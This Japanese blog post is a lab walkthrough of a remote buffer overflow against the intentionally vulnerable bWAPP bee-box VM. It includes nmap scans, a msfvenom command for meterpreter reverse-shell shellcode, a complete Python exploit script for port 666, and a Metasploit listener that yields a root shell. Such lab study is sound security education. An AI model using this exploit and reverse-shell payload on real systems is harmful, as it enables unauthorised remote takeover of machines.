0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング8 リモートバッファオーバーフロー

Last updated at Posted at 2022-06-01

はじめに

「ハッキング・ラボのつくりかた」p.652-657を参考に、KaliLinux2022.1で検証してみる記事です。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

リモートバッファオーバーフロー

バッファオーバーフローは、アプリケーションのバグを利用して、メモリ領域に確保されたバッファを越えて、データを書き込むことで、不正なコマンドやプログラムを実行する攻撃。
入力データの長さや書式のチェックを怠ることで起きやすくなる。

検証

"http://192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Buffer Overflow(Remote)」を選択して「Hack」をクリックして、"http://192.168.56.60/bWAPP/bof_2.php"に遷移する。

VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_23_13_14_bofr1.png
"A specific bWAPP network service is vulnerable..."とあるから、bWAPPに特徴的なサービスに何かしらの脆弱性があることがわかる。また、ヒントが掲載されている。
ポートスキャンで、bWAPPで稼働しているサービスを調べる。

sudo nmap -sSV -p1-1024 192.168.56.60

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-31 23:02 JST
Nmap scan report for 192.168.56.60
Host is up (0.00060s latency).
Not shown: 1013 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp open ssl/http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
666/tcp open doom?
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

一部出力省略

また、ポートを65535まで拡大してポートスキャンしてみる。

sudo nmap -sSV -p1-65535 192.168.56.60

Nmap scan report for 192.168.56.60
Host is up (0.00017s latency).
Not shown: 65516 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp open ssl/http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
666/tcp open doom?
3306/tcp open mysql MySQL 5.0.96-0ubuntu3
3632/tcp open distccd distccd v1 ((GNU) 4.2.3 (Ubuntu 4.2.3-2ubuntu7))
5901/tcp open vnc VNC (protocol 3.8)
6001/tcp open X11 (access denied)
8080/tcp open http nginx 1.4.0
8443/tcp open ssl/http nginx 1.4.0
9080/tcp open http lighttpd 1.4.19
9443/tcp open ssl/http lighttpd 1.4.19
1 service unrecognized despite returning data. If you know the service/version, please submit

一部出力省略

ポート666(サービス名doom)以外は、よくあるサービスである。
ポート666は何かしらの脆弱性を含む可能性がある。数字自体も意味深(666)である。製作者の遊び心かもしれない。

シェルコードの作成

msfvenom lhost=192.168.56.2 lport=4448 -p linux/x86/meterpreter/reverse_tcp -b '\x00' -f py

実行結果は以下の通り。
VirtualBox_kali-linux-2022_buff.png
コマンドの出力のbufの部分が、シェルコードとなる。LhostやLportが変われば、bufの文字列も変わる。

シェルコードからExploitを作成する

次のpythonファイルを作成する。これがExploitになる。

666_exploit.py
#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
リモートバッファフロー攻撃のためのエクスプロイトをpythonで作成する。
kaliLinuxのIPアドレス:192.168.56.2
bee-boxのIpアドレス:192.168.56.60
bee-boxの攻略ポート:666(サービス名:doom)
KaliLinuxのリバースシェル待受ポート:4448
"""

import sys
import socket

#bufはmsvenom lhost=192.168.56.2 lport=4448 -p linux/x86/meterpreter/reverse_tcp -b '\x00' -f py で、出力した。

buf =  b""
buf += b"\xba\x6d\x72\xaa\xa7\xda\xd5\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x1f\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2"
buf += b"\x98\x18\xa0\xf9\x53\x06\x43\xe6\xc0\xfb\xff\x83\xe4"
buf += b"\x4b\x99\xda\x09\x66\xe6\x4a\x92\x11\x27\xdc\x1c\xe0"
buf += b"\xcf\x1f\x5c\xf5\x6f\xa9\xbd\x9f\x09\xf1\x6d\x31\x81"
buf += b"\x88\x6c\xf2\xe0\x0b\xeb\x35\x83\x12\xbd\xc1\x49\x4d"
buf += b"\xe3\x2a\xb2\x8d\xbb\x40\xb2\xe7\x3e\x1c\x51\xc6\x89"
buf += b"\xd3\x16\xac\xc9\x95\xab\x44\xee\xd7\xd3\x23\xf0\x07"
buf += b"\xdc\x53\x79\xc4\x1d\xb8\x75\xca\x7d\x33\x35\xb1\x4c"
buf += b"\xcc\xb0\x8a\x37\xdd\xe1\x83\x29\x44\xa7\xfe\x19\x74"
buf += b"\x0a\x7e\xdc\xbb\xec\x7d\x20\xda\xb4\x83\xde\x1d\xc4"
buf += b"\x38\xdf\x1d\xc4\x3e\x2d\x9d"

#'A' *354
# NOP(x90) *16

ret="\xa7\x8f\x04\x08"
payload = '\x90' * 16 + buf
buffer='A'*354+ret+payload

argvs=sys.argv
argc=len(argvs)
if argc != 2:
    print ('Usage: # python %s ip-address' % argvs[0])
    quit()

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

message1="[+] Connecting..."
print ("\033[1;32;48m" + message1)
port=666
s.connect((argvs[1], port))

message2="[+] Sending exploit code..."
print ("\033[1;32;48m" + message2)
s.send(buffer)
data=s.recv(1024)

s.close()

リバースシェルの待ち受け

metasploitで待ち受けする

msf >
use exploit/multi/handler
set lhost 192.168.56.2
set lport 4448
set payload linux/x86/meterpreter/reverse_tcp
exploit

新規に別の端末を立ち上げて、さきほどの666_exploit.pyを実行する。
引数には、bee-boxのIPアドレスを指定する。

python2 666_exploit.py 192.168.56.60

シェルの奪取

meterpreterセッションが確立され、プロンプトが返ってくる。shellコマンドでシェルをダッシュしてかidコマンドを実行する。rootであることが判明する。

meterpreter >
shell

おわりに

ウェブアプリにハッキングはこれで終わりです。
できれば、Windowsのログオン認証ハッキングも試すかもしれません。
同書の第9章「物理デバイスの追加」では、ラズパイを使ったハッキング・ラボの構築が取り上げられていますが、ラズパイの購入予定がありませんので、ここで取り上げる予定もありません。
残りページもだいぶ少なくなりました。
参考にしたもの
「ハッキング・ラボのつくりかた」
「図解入門・よく分かる最新情報セキュリティの基本と仕組み増補改訂版」(相戸浩志)

0
1
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?